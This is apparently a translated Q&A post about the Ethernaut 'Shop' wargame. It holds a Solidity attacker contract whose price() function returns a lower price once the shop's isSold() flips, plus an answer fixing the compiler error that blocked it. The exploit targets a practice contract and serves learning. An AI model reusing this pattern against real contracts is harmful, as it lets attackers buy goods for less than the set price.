Solidity
Ethernaut 挑戰商店
我不明白為什麼 remix 不允許我編譯這段程式碼,即使邏輯與我在網際網路上找到的答案相似。
錯誤:來自solidity:MyContract.sol:20:11:TypeError:函式聲明為視圖,但此表達式(可能)修改了狀態,因此需要不可支付(預設)或應付。if (shop.isSold()) { ^————^
pragma solidity ^0.6.0; interface IShop { function isSold() external returns(bool); function buy() external; } contract Attack { IShop shop = IShop(0x96678CF02e45F01e31683eDF23edE7dE863D0A76); function call() external { shop.buy(); } function price() public view returns (uint) { if (shop.isSold()) { return 10; }else{ return 100; } } }
錯誤很明顯:因為
price()
isview
,那麼裡面的所有表達式都不能修改狀態。編譯器認為它isSold
可以修改狀態,因為它沒有被標記view
,所以我們需要修復它。基本上,
view
在界面中添加功能interface IShop { function isSold() view external returns(bool); function buy() external; }